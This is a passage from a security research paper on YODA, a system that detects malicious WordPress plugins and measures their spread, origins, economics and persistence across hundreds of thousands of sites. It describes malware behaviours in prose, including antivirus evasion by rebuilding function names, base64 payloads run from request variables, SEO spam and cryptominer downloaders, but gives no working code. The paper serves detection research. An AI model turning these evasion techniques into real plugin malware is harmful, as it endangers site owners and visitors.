is made available as part of the YODA source code.
8. Blackhat SEO. Attackers employ conditional
checks to detect if the website is being loaded by search
engine bots (SE_Bots), e.g., googlebot, bingbot,
baiduspider. They Download SEO campaign content

from a URL ∈Blacklist and replace concealed HTML
elements (Replace_Content) in the plugins with this
downloaded content. This impacts the website’s
indexing by search engines.
9. Downloader. The plugin Downloads content from
URL ∈Blacklist. Note that, if YODA finds Download
as an intermediate sink for other attack behaviors, it
assigns the appropriate attack behavior and does not
flag the plugin as a downloader.
10. Function Reconstruction. To evade signature-
based AVs, attackers break suspicious function names to
substrings (Str1,Str2, ..) that can then be concatenated
to form the function name. Attackers then use PHP’s
Create_Func to create a function that internally
performs an eval() or executes this function.
11. Insert User. The plugin creates a user object
(Create_User) and registers this user account with the
CMS (Register_User). Benign plugins hardly add new
user accounts to the CMS. Different from SSO
backdoor, this user is created for one-time use and this
user’s contents are not loaded each time a web page is
requested.
12. Malvertizing. Attackers monetize plugins to
serve malicious ads. The plugin Downloads content
from a URL ∈ Blacklist and redirects website visitors
to a malicious site or inserts a downloaded popup
(Redirect∨ Insert_Popup in Table 2).
13. Fake Plugin. Attackers inject full-fledged plugins
that not only give backdoor access but also run
malicious code each time the website is loaded. In
particular, fake plugins receive encoded payloads
(generally using base64 decoding) from superglobal
variables (Super_Global[Str]), Decode and Exec this
payload, and then delete it (Delete_Payload).
14. Cryptominer. The plugin Downloads a mining
script from a URL ∈ Blacklist, writes it to a file
(File_RW ), changes the file permission to executable,
and then Execs the file.

3.3 Origin of Malicious Plugins
YODA then determines the origin of these malicious
behaviors. This helps understand the different attacker
entry points within the CMS ecosystem. Our preliminary
study uncovered that the malicious plugin behaviors
originate from one of these four sources.
1. Nulled Plugin Marketplace. Nulled plugins
commonly include multiple malicious domains (adds
redundancy during domain takedown) to download
malicious content on the webserver. If YODA records
downloader, malvertizing, or spam injection behaviors
when the effective plugin state was ‘A’, and if the
plugin contains multiple redundant blacklisted URLs, it
is categorized as nulled based on its behavior. Also, if
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the plugin name contains nulled marketplace metadata
(e.g., “Shared on VestaThemes.com”), it is categorized
as nulled based on its metadata. Note that not all
metadata-based nulled plugins are malicious (§5.3).
2. Legitimate Plugin Marketplace. YODA marks
the malicious origin as a legitimate plugin marketplace
if: (1) one or more malicious behaviors are seen when
the effective plugin state is ‘A’; or (2) the effective
plugin state is ‘M’ due to plugin version and/or author
change4. Since some nulled plugins masquerade as
legitimate plugins, YODA first categorizes nulled
plugins with redundant malicious domains and excludes
them from the legitimate marketplace category.
3. Injected Plugin. If YODA finds (1) fake plugin
behavior when the effective plugin state was ‘A’, or (2)
fake plugin and code obfuscation behaviors when the
effective plugin state is ‘M’, the plugin is categorized as
an injected plugin. Note, plugins with code obfuscation
are not always injected plugins. Only if the plugin did
not originate from nulled or legitimate marketplaces,
then YODA marks it as an injected plugin since these
plugins are not sold on marketplaces.
4. Infected Plugin. We found that malicious plugins
on the webserver tried to increase the attack’s coverage
by hijacking other plugins. If YODA found malicious
behaviors in a plugin with effective plugin state ‘M’ in
an already compromised website (i.e., it has one or
more malicious plugins prior to the snapshot under
analysis), it is marked as infected. If it was infected
when the effective plugin state was ‘A’, YODA may
incorrectly label an infected plugin as originating from
a legitimate marketplace. This is resolved via
cross-website verification.
Cross-Website Verification. Using backups from
over 400K web servers, we employ cross-website
verification as an additional guarantee for the malicious
origin categorization applied at a single-website level.
Note, legitimate marketplace, nulled marketplace, and
injected plugin categories are mutually exclusive.
However, plugins from all of these categories can be
infected by other malicious plugins on the webserver.
YODA performs a cross-website comparison of all
malicious plugins originating from legitimate or nulled
marketplaces. In particular, if the identified malicious
behaviors are common across all websites, then the
labeled categorization is validated as correct. Otherwise,
they will be correctly relabeled as infected plugins.

3.4 Impact Study
The origin of malicious plugins in §3.3 reveals the broad
attacker platforms used to victimize CMS users. To

4The effective state can be ‘M’ for several reasons such as code
customization by the website owner, code injected by an attacker,
etc. Still, the plugin version or the plugin author does not change.

understand the scale of this impact on the plugin
marketplaces, YODA extracts the impact metrics
associated with each plugin (i.e., monetary impact in
terms of plugin cost and popularity impact in terms of
the number of downloads) by mapping the plugins in
our dataset to the plugin marketplace it originated
from. We chose the 7 most popular plugin markets —
three unpaid (WordPress Plugins, WordPress Themes,
and Github) and four paid (ThemeForest, CodeCanyon,
WPMU DEV, and Easy Digital Downloads) — to
perform this study. This can be challenging because the
impact metrics extraction varies between markets due
to the lack of code consistency.
To address this, we reverse-engineered the

plugin-name-to-URL translation for these marketplaces,
and YODA was programmed to scrape the impact
metrics. YODA first constructs the URL to visit by
appending the plugin name (e.g., twentytwenty) to the
market-specific URL (e.g., https://wordpress.org/
themes/) and performs a GET request on the effective
URL (e.g.,https://wordpress.org/themes/twentytwenty)
to determine if the plugin is in the marketplace. For
some marketplaces (e.g., CodeCanyon), the required
URL cannot be constructed solely from the plugin
name. To address this, a search query is constructed
using the plugin’s name. The search results are parsed
to find if the target plugin exists in the marketplace.
This impact metrics extraction can be extended to
other marketplaces by updating YODA with the new
plugin-name-to-URL translation and scraping patterns.
After obtaining the plugin’s marketplace listing (i.e.,

a successful GET request response), the impact metrics
extraction is similar across marketplaces, specific only
to the web page formatting. All available metadata on
the listing is stored in a database for easier queries. This
metadata consists of the plugin’s latest version, plugin
rating, cost, and the number of sales and downloads,
which when applied to a large-scale study, reveal the
impact of these plugins on the community. This data will
be used to infer any correlations that may exist between
malicious plugins, their cost, and their popularity.

4 Validating YODA

To validate YODA’s design considerations, we used 120
unique WordPress websites collected between Apr 2018
and Feb 2021. 60 were compromised with web-attacks as
classified by pattern-based AV and the remaining 60 were
randomly chosen unbiased websites. We used this dataset
to establish ground truth and validate YODA’s accuracy
in detecting plugins and malicious plugin behaviors on
a local workstation running Ubuntu 16.04 with 32GB
memory and 8 x 3.60GHz Intel Core i7 CPUs.
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Total #Websites: 120 Total #Plugins: 3,168

Plugin Name #Y TP FP FN3 LVm LVMEM1 C2

Yoast SEO 47 27 18 2 0 26 38
Contact Form 7 41 28 12 1 0 23 28
Wordfence Security 37 30 6 1 0 3 26
Manage WP - Worker 34 20 14 0 0 14 23
Add From Server 31 19 12 0 0 16 24
Shield Security 29 12 16 1 0 4 13
WP Rocket 27 10 15 2 0 10 12
MainWP Child 25 18 6 1 1 11 19
Easy WP SMTP 24 12 12 0 0 9 13
Amazon Web Services 20 18 2 0 0 6 17
Simple Social Icons 19 19 0 0 0 15 15
WP Offload S3 Lite 18 17 0 1 0 7 14
Jetpack 17 10 6 1 0 2 12
Sharedaddy 15 12 2 1 0 13 13
Akismet Anti-Spam 14 13 1 0 0 1 11

Total Top 15 398 265 122 11 1 160 278

Total Overall 3,168 2,240 889 39 3 728 2,060

1: #W where the plugin exactly matches the ground truth plugin.
2: #W with customized plugins correctly identified by YODA.
3: #W with customized plugins incorrectly identified by YODA.

Table 3: Plugin Detection Evaluation.

4.1 Plugin Detection Evaluation
Ground Truth. We first evaluate YODA’s plugin
detection. As mentioned in §3.1, website owners often
customize their plugins, either using configuration files
or explicitly modifying the PHP code. Thus, it is difficult
to verify that a detected plugin matches a known plugin
from the marketplace. To evaluate YODA, we need to
determine if each plugin that YODA detected is either:
(1) an exact match (EM), (2) a true positive match with
customization (C), (3) a false positive (FP), i.e., YODA
labeled a non-existent plugin, or (4) a false negative (FN),
i.e., YODA missed labeling a group of files as a plugin.
We used YODA to identify an initial list of plugins

in all 120 website backups. This list contained EMs, Cs,
or FPs (per above). To determine which, we created a
ground truth plugin set by downloading these plugins
from the plugin marketplaces. We also contacted the
authors of paid plugins found in our dataset and received
all versions of these plugins as well. We compared all
the files (via MD5 hash) for each plugin detected by
YODA against the files for the same version of the plugin
within the ground truth set. If 100% of the files from
the ground truth plugin matched those in the detected
plugin, we classify it as an EM (Table 3 Column 3).
Greater than 90% match is considered a true positive
with customization (C, Column 4). If the comparison
led to a less than 90% match, we classified this plugin
as an FP (Column 5). In fact, customized plugins rarely
differ by more than one file (we found only 8 instances
of multi-file customization in our dataset), thus a 90%
match is so strict that it is less favorable to YODA,

but we aim to aggressively flag any FPs. We manually
investigated all mismatches.
To check for the FNs, we pulled every version of all

freely available plugins from the WordPress SVN5 plugin
repository. We also added all versions of the free and paid
plugins from above. We then compared all file hashes
from the downloaded plugins against the files in each
website. If 90% or more of the plugin’s files match files
in the website and YODA did not mark the group of
files as a plugin, we count this is as an FN.
Detection Results. In the 120 websites, YODA
found a total of 3,168 plugin instances (#Y). Table 3
summarizes the results for all plugins and drills down
into these results for the top 15 plugins based on their
popularity in our dataset. Of the 3,168 plugin instances
in Table 3, YODA correctly detected 3,129 (i.e., 2,240
+ 889) plugins. 2,240 of these plugins exactly matched
the ground truth dataset, and 889 plugins were
customized — a TP rate of 98.7%.
We manually verified all the plugins marked as FP

and found that only 11 of the 39 plugins were actually
FPs (i.e., a group of files incorrectly identified as a
plugin). Here, the website owner copied the plugin root
file (containing plugin APIs and missing referenced files)
to their home directory (likely part of customization or
backup), misleading YODA into identifying a group of
files as a plugin. The remaining 28 of the 39 plugins
either redefined the base WordPress APIs or replaced
them entirely with custom APIs; such heavy
customization in a single file put them below the strict
90% match. Thus, despite using a strict measure for
FPs, the FP rate is reasonable (1.2%). The 3 FNs we
found were due to the website owners deleting the
plugin header as part of customization. Since the header
holds the highest weight for determining a plugin group,
YODA missed identifying these plugins.

We now use this dataset and the plugin version
extracted by YODA to understand if CMS-users keep
their plugins updated to the latest version. Columns 7
and 8 show the number of websites that had the plugins
at the latest minor version (LVm) and the latest major
version (LVM ). For example, if the latest plugin version
on the marketplace is 4.3.6 and it matches our dataset
plugin version, we count it as LVm. If our dataset
plugin version is 4.3.2, since the major version (i.e., 4.3)
is still up to date, we count this as LVM .6 Only 40%
(160 of 398) of the top 15 plugins and 23% (728 of
3,168) of all plugins were updated to the latest minor
version. From Column 8, we find that about 70% (278
of 398) of the top 15 plugins and 65% (2,060 of 3,168)
of all plugins are updated to the latest major version.
Over 35% of all plugins used are clearly outdated.

5WordPress uses SVN to maintain version-controlled plugins.
6Latest major version includes all latest minor versions.
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Total #Websites: 120 Total #Plugins: 3,132

Malicious Behavior #W#GT #Y TP FP FP

Code Obfuscation 15 28 28 28 0 0
Webshell 19 23 26 23 3 0
Function Reconstruction 7 16 18 16 2 0
Downloader 7 12 14 12 2 0
Library Function Exists 10 13 14 13 1 0
Input Gating 4 13 13 13 0 0
Fake Plugin 3 7 7 7 0 0
Spam Injection 3 6 6 6 0 0
Malvertising 2 5 5 5 0 0
Insert User 2 3 3 3 0 0
Blackhat SEO 1 2 2 2 0 0
Post Injection 1 2 2 2 0 0
SSO Backdoor 1 2 2 2 0 0
Cryptominer 1 1 1 1 0 0

Total Malicious Plugins1 61 84 89 84 5 0

Total Benign Plugins 120 3,048 3,043 3,043 0 5
1: This is not the sum of the columns, but the total #websites
and #plugins in the evaluation dataset with malicious behaviors.

Table 4: Evaluation of the Malicious Behavior Detection.

4.2 Malicious Behavior Evaluation
Ground Truth. After establishing confidence in
YODA’s plugin detection, we now evaluate the
accuracy of identifying malicious plugins. We eliminated
the 39 FP and included the 3 FN plugins from the same
3,168 plugins from above, and our team manually
verified the server-side code files in all 3,132 plugins and
tagged them with corresponding malicious behavior
labels.7 We then ran YODA’s malicious behavior
detection on all of these plugins and compared the
labels assigned by YODA with the manually derived
labels. The results are presented in Table 4.
Detection Results. In our dataset of 3,168 plugins
across 120 websites, YODA reported 61 websites (#W)
containing 89 plugin instances (#Y) that exhibit
malicious behaviors whereas our manually labelled
ground truth (#GT) showed that only 84 plugins across
these websites were malicious. Recall, our dataset has
60 websites with known-compromises (i.e., web attacks
detected), and 58 of these websites contained malicious
plugins. In addition, YODA found 3 websites
containing malicious plugins in the 60 randomly chosen
websites. The malicious behaviors reported by YODA
matched our ground truth for plugins from these 61
websites (i.e., TP). Based on our manual verification,
we did not find any plugins that contained malicious
behaviors missed by YODA, thus showing zero FNs.
Table 4 shows YODA produced FP detections for 8

behavior instances in 5 plugins. Our manual
investigation revealed that 4 of these plugins used a
combination of behaviors that resembled webshells (i.e.,
executing decoded content) and checking if the library

7YODA did not have access to our manually derived labels.

function base64_decode exists and redefining it if not.
Our investigation confirmed that these plugins did not
show any outright malicious activity, but this
rarely-benign code implementation misled YODA.
Also, 2 plugins were falsely labeled as downloaders, due
to VirusTotal falsely blacklisting the extracted URLs as
malicious. This gives us confidence that YODA
accurately detects plugins and malicious behaviors.
Table 4 also summarizes the benign plugins in this
dataset that we verified were not malicious.

5 Deploying YODA

#Websites 410,122

Min. Duration 102 days Min. #Plugins 1
Avg. Duration 406 days Avg. #Plugins 49
Max. Duration 3,259 days Max. #Plugins 68

Table 5: Dataset Summary.

We deployed YODA on the full dataset of 410,122
unique WordPress websites’ nightly backups (Table 5).
This dataset provides a realistic view of the plugin
ecosystem because over 37% of the world’s websites and
over 63% of CMS-based websites run on WordPress [38].
It also allows us to retroactively deploy YODA over 8
years. The backups contain an average of 406
day-snapshots per website. Many backups went all the
way back to 2012, representing some of the earliest
customers of CodeGuard. Each website had between
1-68 plugins, with an average of 49 plugins per website.
This high average shows that most website owners place
unwarranted trust in plugins to keep their websites up
and running.
Experimental Setup. We used Amazon Web Services
(AWS) Elastic Compute (EC2) r5.2xlarge instances with
8 virtual CPUs and 64 GB of RAM to run YODA on
the website backups. These instances were supervised by
the AWS Batch job scheduling engine to deploy YODA
on hundreds of backups in parallel.

5.1 Malicious Behavior Evolution
YODA found malicious plugin instances (#P) in 24,931
of the 410,122 websites (#W), shown in Table 6. As
expected, over 10K malicious plugin instances used the
age-old web attack techniques: webshells and code
obfuscation. The infection ratio (IR, the ratio of #P to
#W) shows a measure of infection spread. Several
malicious behaviors have IR >3, implying that multiple
plugins within the same website contain these same
malicious behaviors. Closer inspection revealed that
these are due to plugin-to-plugin infection: a single
malicious plugin on the webserver infects multiple
benign plugins, replicating the behavior.
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Malicious
Behavior #W #P IR1 First

Seen
Temporal Evolution Marketplace Injected Nulled Infected

(07-2012 - 07-2020) #W #P #W #P #W #P #W #P

Webshell 7,921 10,279 1.3 Jul 2012 10 12 854 994 160 232 7,117 9,943
Code Obf 6,752 10,064 1.5 Aug 2012 0 0 409 558 1,055 1,214 5,509 8,819
Input Gating 5,928 23,140 3.9 Jul 2012 0 0 47 50 3,445 7,821 5,588 20,684
Downloader 2,314 5,944 3.6 Mar 2014 151 288 19 20 1,540 2,683 1,562 4,254
Spam Injection 1,202 3,723 3.1 Oct 2016 1,166 3,452 0 0 0 0 36 271
Lib Func Exists 2,233 3,576 1.6 Aug 2012 25 29 5 5 154 241 2,195 3,475
Blackhat SEO 1,358 1,714 1.3 Oct 2013 86 86 8 21 534 650 857 1,421
Fake Plugin 1,121 1,336 1.2 Jul 2014 0 0 1,121 1,336 0 0 0 0
Func Reconst 636 929 1.5 Jan 2016 3 3 52 54 12 13 579 890
Insert User 357 1,531 4.3 Dec 2015 0 0 266 266 2 6 292 1,490
Post Injection 281 1,407 5.0 May 2016 0 0 266 266 1 1 315 1,415
Malvertising 915 1,354 1.5 May 2017 12 13 0 0 894 1,330 13 13
SSO Backdoor 191 905 4.7 May 2019 2 2 0 0 36 91 190 879
Cryptominer 4 4 1.0 Jul 2018 0 0 4 4 0 0 0 0

Total2 24,931 47,337 1.9 Jul 2012 1,345 3,685 1,201 2,814 5,244 8,525 18,034 40,533
1: Infection Ratio (IR) is the ratio of #P to #W, shows a measure of infection spread.
2: This is not the sum of the columns, but the total #websites and #plugins with malicious behaviors in our dataset.

Table 6: Distribution and Temporal Evolution of the Malicious Behaviors Across all Websites in our Dataset.

Dating back to 2012, we studied the evolution of
these malicious behaviors. Since the absolute number of
websites in our dataset increased over time, in Table 6
Temporal Evolution, we plot the newly infected websites
as a percentage of all malicious websites to remove
dataset bias. While some attack behaviors were popular
since late 2012, other behaviors such as spam injection
(2016), malvertising (2017), and SSO backdoor (2019)
were introduced recently. However, it is interesting to
note that regardless of when they were first introduced,
all of these behaviors are still prevalent in present-day
malicious plugins. A closer look at the absolute values
of the newly introduced malicious behaviors reveals that
the number of malicious plugins peaked in March 2020,
which notably coincides with the COVID-19 outbreak.

Thousands of malicious plugins originated from
legitimate plugin marketplaces. Table 6’s Marketplace
Columns show their distribution (i.e., number of
websites #W and number of plugins #P with malicious
behaviors). Row 2 shows that none of these plugins use
code obfuscation techniques — despite being sold on
legitimate marketplaces they brazenly hide in plain
sight. Attackers (rightly) assume that an average
website owner will not inspect the plugin code before
installing it on their webserver. In fact, we found
instances of well commented malicious code in 2,379 of
the 3,452 plugins that performed spam injection
originating from legitimate plugin marketplaces.
Evidently, these plugins enabled illegal monetization via
blackhat SEO, downloader, and spam injection in 86,
288, and 3,452 plugin instances, respectively.

Attackers exploited the scalable CMS infrastructure to
inject malicious plugins into websites. Table 6’s Injected
Columns show that the injected plugins aim to gain
and maintain access to the webserver. They are injected
without the website owners’ knowledge and over 80% of

these plugins had fake plugin behaviors (1,336), webshells
(994), or obfuscated code (558). Although cryptomining is
gaining popularity, we only found 4 injected cryptominer
plugins on 4 websites revealing its infancy in pervading
the CMS landscape.
We found 8,525 malicious nulled plugin instances in

our dataset that exploit human vulnerabilities to
rapidly spread malware. Table 6’s Nulled Columns show
that over 91% (7,821 of 8,525) of these plugin instances
used input gating (i.e., password-protecting the publicly
accessible code) to thwart competing attackers from
introducing malicious payloads. We also found that the
plugins introduced after December 2018 primarily
employed downloader, blackhat SEO, and malvertizing
behaviors in 2,683, 650, and 1,330 plugin instances,
respectively, to infect other benign plugins.
It was concerning that over 40K plugin instances

were infected post-deployment. Table 6’s Infected
Columns show that these plugins portray a variety of
malicious behaviors. Most attackers employ behaviors
such as webshells, obfuscation, and downloaders in
9,943, 8,819, and 4,254 plugin instances, respectively.
Interestingly, over 50% (20,684 of 40,533) of these
plugins employed input gating showing attackers’
diligence in marking their conquered territories.

5.2 Fueling the Malware Economy
Next, we turned our attention to the economic drivers of
these malicious plugins. Table 7 categorizes our results
based on the origin of malicious behaviors, i.e., legitimate
marketplaces, nulled marketplaces, and infected plugins.
Table 7 begins with malicious plugins originating

from legitimate plugin marketplaces. About 70% of
these (2,597 of 3,685) were found on 5 of the 7 most
popular marketplaces. Our dataset alone constituted
over $41K in purchases of malicious plugins from
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Markeplace Malicious Downloads Range Cost
#P #U1 %M2 Min. Avg. Max.

Legitimate Marketplace
WP Themes 523 62 1.1% 7.7K 336K 3.6M -
WP Plugins 1,583 69 0.25% 4 945K 25M -
Github 0 0 0% - - - -
WPMU DEV 132 2 1.8% 54K 510K 524K $25.8K
CodeCanyon 164 10 0.4% 1 40 73 $6.8K
ThemeForest 195 22 0.37% 9 20K 213K $8.9K
EDD 0 0 0% - - - $0
Subtotal 2,597 165 0.38% - - - $41.5K

Nulled Plugins
WP Themes 1,074 59 1.08% 11K 203K 5.7M -
WP Plugins 146 43 0.16% 65 4K 37K -
Github 0 0 0% - - - -
WPMU DEV 4 1 0.9% 572K 572K 572K $2.3K
CodeCanyon 2,085 122 5.02% 1 70 570 $82.3K
ThemeForest 3,059 223 3.82% 3 12K 213K $142K
EDD 39 3 1.2% - - - $1.3K
Subtotal 6,407 451 1.03% - - - $228K

Infected Plugins
WP Themes 9,776 1,864 34.2% 1 367K 7.4M -
WP Plugins 8,049 6,520 23.8% 2 4M 260M -
Github 15 1 0.01% 2 2 2 -
WPMU DEV 450 9 8.2% 187K 2M 10.5M $88.2K
CodeCanyon 1,873 469 19.3% 1 62 563 $59.9K
ThemeForest 5,858 1,072 18.4% 2 10K 213K $264K
EDD 634 57 23.3% - - - $422K
Subtotal 26,655 9,992 22.9% - - - $834K
1: #U: Number of unique malicious plugins, 2: %M: Percentage
of the plugins on the marketplace that were flagged as malicious

Table 7: The Economy of Malicious Plugin Marketplaces.

legitimate marketplaces. We found 62 unique malicious
plugins from WP Themes and 69 from WP Plugins
(unpaid marketplaces), contributing to 1.1% and 0.25%
of these marketplaces, respectively (%M Column).
Furthermore, the malicious plugins from these
marketplaces are extremely popular, averaging 336K
and 945K downloads per plugin. We also found 34
unique malicious plugins sold on paid marketplaces.
Nulled plugins impersonate plugins from legitimate

marketplaces. YODA extracts their popularity and cost
from legitimate marketplaces. The cost represents the
explicit losses incurred by the legitimate plugin authors.
About 75% of the malicious nulled plugins (i.e., 6,407 of
8,525) in our dataset contain legitimate counterparts in
these 7 popular marketplaces. Since nulled marketplaces
distribute plugins free of cost, we did not expect to find
plugins from unpaid marketplaces. Surprisingly, we
found a total of 102 plugins from WP Plugins and WP
Themes sold on nulled marketplaces. As expected, we
also found that over 77% (349 of 451) of the nulled
plugin counterparts were sold on paid marketplaces.
Attackers impersonated 122 and 223 best-selling plugins
from CodeCanyon and ThemeForest, respectively.
Overall, the website owners from our dataset alone
contributed to $228K in explicit loss to the plugin
authors. This shows that attackers are successfully

targeting psychological human vulnerabilities and the
less-technical CMS users are installing pirated plugins.
Finally, Table 7 considers the origin of

post-deployment infected plugins. About 65% of the
infected plugins (i.e., 26,655 of 40,533) were downloaded
from these 7 popular marketplaces. Since the plugins
from WP Plugins and WP Themes are widely used,
they are also commonly infected. 34.2% and 23.8% of
plugins from WP Themes and WP Plugins became
victims of plugin infections. Despite paying a premium
for plugins from paid marketplaces, a significant number
of these were found to be infected, i.e., 8.2% of WPMU
DEV, 19.3% of CodeCanyon, 18.4% of ThemeForest,
and 23.3% of EDD. The website owners spent a total of
$834K on these plugins, only to find them compromised.
This encapsulates the additional implicit cost of
malware cleanup incurred by installing malicious
plugins from legitimate and nulled marketplaces.

5.3 Nulled Marketplace Study
Since nulled plugins require some tampering with the
WordPress backend (too complex for the typical CMS
user), we did not expect to find many nulled plugin
instances in our dataset. Surprisingly, Table 8 reveals
6,223 websites had at least one nulled plugin. We found
that these plugins are gaining popularity by optimizing
for search engine ranking (discussed in Appendix D).

Table 8 shows the nulled marketplaces extracted from
the plugin metadata. If YODA identifies a plugin as
nulled based on its behavior alone and if it cannot
extract a nulled marketplace from the plugin metadata,
we categorize the marketplace as ‘Unknown’. Table 8
shows vestathemes.com as the most popular nulled
plugin marketplace in our dataset, with 3,177 plugin
instances (#P) downloaded across 2,398 websites (#W).
Recall from §3.3, not all nulled plugins portray
malicious behaviors. Columns 4-5 present the number of
websites (#MW) containing malicious nulled plugins
(#MP). Overall, over 97% of all nulled plugins deliver
malicious behaviors (%M). In particular, 100% of the
plugins we saw from theme123.net, themelot.net,
and ‘Unknown’ marketplace were malicious.
Interestingly, the ‘Unknown’ marketplaces have

distributed over 31% of all malicious nulled plugins
(2,603 of 8,525) in our dataset. They impersonate the
plugin author entirely and hide that they were
downloaded from a nulled source as opposed to the
other nulled marketplaces in Column 1. A comparison
of the plugin header from an ‘Unknown’ nulled plugin
and a legitimate marketplace plugin did not reveal any
differences. Only after matching the code files were we
able to tell a nulled malicious plugin apart from the
legitimate plugin. However, since the website owners
cannot compare the nulled plugin’s code to the paid
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Nulled Marketplace #W #P #MW1 #MP2 %M 1st Seen 1st Mal. Seen Popular Mal. Plg. Cost #Instances

vestathemes.com 2,398 3,177 2,283 3,057 96.2% Aug 2014 Jul 2018 Flatsome [39] $59 195
www.themes24x7.com 989 1,363 928 1,282 94.1% Mar 2016 Mar 2016 WPBakery Page Builder [40] $64 140
www.wplocker.com 841 1,035 829 1,017 98.3% Nov 2013 Jan 2014 FormCraft [41] $36 80
www.jojo-themes.net 133 141 109 117 82.9% Feb 2016 Feb 2016 Gravity Forms [42] $59 9
theme123.net 127 144 127 144 100% Dec 2013 Dec 2013 WP Robot 5 [43] $89 9
mafiashare.net 121 149 117 142 95.3% Jan 2014 Dec 2015 BeTheme [44] $59 9
www.wptry.org 79 99 79 98 98.9% Apr 2020 Apr 2020 Woodmart [45] $59 3
themlot.net 60 65 60 65 100% Dec 2014 Dec 2014 BeTheme [44] $59 4
Unknown 1,906 2,603 1,906 2,603 100% Oct 2016 Oct 2016 Flatsome [39] $59 252

Total1 6,223 8,776 5,244 8,525 97.1% Nov 2013 Dec 2013 Flatsome [39] $59 483

1: #MW: The number of websites with malicious nulled plugins, 2: #MP: The number of malicious nulled plugins.

3: The total here is not the sum of the columns, but the total #W and #P from nulled marketplaces in our dataset.

Table 8: Study of Malicious Plugins From Nulled Marketplaces.

Malicious
Origin

Malicious Cleaned Up Reinfected Still Infected

#W #P #W % W #P #W % W #P #W % W #P

Marketplace 1,345 3,685 324 24.1% 389 32 9.9% 32 1,090 81.0% 3,327
Injected 1,201 2,814 169 14.1% 221 21 12.4% 41 1,067 88.8% 2,608
Nulled 5,244 8,525 353 6.7% 471 63 17.8% 81 5,003 95.4% 8,115
Infected 18,034 40,533 2,174 12.1% 5,962 254 11.7% 551 16,881 93.6% 34,956

Total1 24,931 47,337 2,697 10.8% 7,042 336 12.5% 705 23,577 94.6% 40,787
1: The total here is not the sum of the columns, but the total #W and #P in our dataset.

Table 9: The Cleanup and Reinfection Distribution of Malicious Plugins.

legitimate plugin, it is impossible for them to identify
the nulled plugin as malicious. However, YODA can
detect malicious plugins by only analyzing its code files.
Table 8 also shows that most nulled marketplaces

have been around for a long time, since 2013-2014.
However, over 50% of the marketplaces displayed
malicious behaviors starting in 2016. In particular, the
‘Unknown’ marketplaces have attempted to spread
malware since 2016 and have been successful through
2020. The most popular nulled plugins cost between $36
and $89, with an average of $59 per plugin. 447 of the
483 popular malicious nulled plugin instances were
Flatsome [39], a WordPress theme that would normally
cost the website owner $59 and provided pre-defined
layouts for user-friendly e-commerce shop features.

5.4 Are Infected Plugins Cleaned Up?
Lastly, Table 9 studies the plugin clean-up statistics to
understand how attackers are evading website owners.
Very few website owners (2,697 of 24,931 or 10.8% of the
compromised websites overall) attempt to clean up the
malicious plugins on their webserver. We hypothesize
that those website owners are unaware of the malicious
plugins or they cannot correlate malware side-effects
(such as server slowdown) with the plugins. As seen in
Table 9, 24.1% of websites with malicious plugins from
legitimate marketplaces are cleaned up, the highest rate

by far. Only 6.7% of nulled plugins are cleaned up, which
further strengthens our hypothesis (§6) that despite much
later adoption, nulled plugins provide robust persistence
for attackers.
Of the 2,697 websites that attempted to clean up

7,042 malicious plugins, 12.5% of the websites (336 of
2,697) were reinfected. Interestingly, nulled plugins were
most consistently reinfected (17.8% or 63 of 353
websites). Plugins downloaded from legitimate
marketplaces show the least rate of reinfection (9.9%).
This can be attributed to community engagement in
identifying malicious plugins on legitimate marketplaces.
Such plugins are either purged from the marketplace or
their authors are forced to remove the malicious code.
Lastly, we measured the websites that remained

infected up to the time of writing. Despite cleanup
efforts, over 94% of all websites with malicious plugins
remained infected. This proves that CMS plugins have
provided a reliable webserver infiltration vector for
nearly a decade.

6 Persistence of Malicious Plugins
To understand the persistence patterns of malicious
plugins, Figure 2 shows a box plot measuring the
number of days malicious plugins were identified on the
webserver, categorized by their origin. The median
persistence ranges between 189-209 days. Thus, over
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Figure 2: Persistence of Malicious Plugins.

50% of the malicious plugins persist for over 6 months.
We also noted that over 80% of the remaining malicious
plugins (those that persisted for less than 6 months)
were introduced during Feb - Mar 2020 and persisted
through the end of our study. This confirms our
previous observation (Table 9) that 94% of the
malicious plugins in our dataset installed over 8 years
are still active today.
Popular plugins on legitimate marketplaces mostly

introduce malicious behaviors via plugin updates. Thus,
we assumed that these behaviors would be cleaned up
with updates8 as well. As seen from Figure 2, malicious
plugins from legitimate marketplaces are not
immediately identified at source and persist for 176 -
380 days. Recall from §4.1, over 60% of the website
owners do not enable auto-updates and use outdated
plugin versions. If these website owners happen to
install a malicious version of a plugin from a legitimate
marketplace, it persists for months or years.
Figure 2 also shows that the persistence of nulled

plugins (131 - 232 days) is shorter compared to other
origins. This can be attributed to the fact that even
though nulled marketplaces existed since 2013, they
gained popularity around 2018, and their blackhat SEO
campaigns accelerated in early 2019. We found that
once nulled plugins are installed on the webserver, they
are rarely removed (§5.4). The website remains
compromised since the website owner is unaware of the
plugin’s malicious intentions. So despite much later
adoption, 25% of these plugins persist for over 232 days.
Notably, it is the injected plugins that win the

persistence war. Over 75% of these plugins remain
active for at least 177 days, and over 25% of these
plugins persist for at least 525 days. This proves that
injected plugins are never noticed by the website
owners, who typically use GUIs to manage their CMS.

7 Case Studies
1. Malvertizing URLs. Discovered in 2019, the largest
known malvertizing campaign downloaded content from
malicious domains in plugins to the webserver [15]. To

8The marketplace takes down community-identified malicious
plugins or mandates reverting the malicious behaviors.
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Figure 3: Malicious URLs Created and Updated.

understand the lifecycle of these domains, we extracted
352 URLs from all malvertizing plugins in our dataset
and analyzed the domain creation date, last updated date
(i.e., registration renewed), and their registrars. Figure 3
shows the distribution of URLs created and updated over
time. The majority of these URLs were created in 2018,
but attackers are re-registering the same URLs with
peak activity in 2021. Thus, the malvertizing campaign
is still active (confirmed by their use in recent malicious
plugins) and has evaded detection. In fact, only 56 of
these URLs were no longer registered at the time of
writing. We believe that these were throwaway URLs
generated for a short targeted attack. We also found
38 of these URLs captured by the internet archive [46],
further supporting our hypothesis.
2. Spam Injection Insights. Starting in 2016, a
prolific spammer bought and updated several
WordPress plugins for a coordinated spam campaign
over a 4.5-year period [14]. Hoping to find how
widespread this campaign was among our dataset, we
drilled down into the spam injection plugins YODA
detected. Apart from downloading malicious spam
content from the spammer’s own domains onto the
webserver, we discovered these same plugins also
collected details on visitors to the infected website, such
as URL, IP, user agent, and other attacker-defined
variables. Of the 3,723 spam injection plugins, 94% sent
back IP and user agent using the PHP superglobal
variables. Of these, 66% encoded the IP using
$_SERVER[‘REMOTE_ADDR’] and 34% used $_SERVER[
‘SERVER_ADDR’]. These plugins also sent attacker-
defined variables ‘p’ (set to 2, 29, or 9) and ‘v’ (set to
11 or 18). While we cannot accurately decipher what
these variables mean, we speculate that they identify
the spammer’s campaign and distribute profits similar
to affiliate tracking. 6% of the plugins did not send any
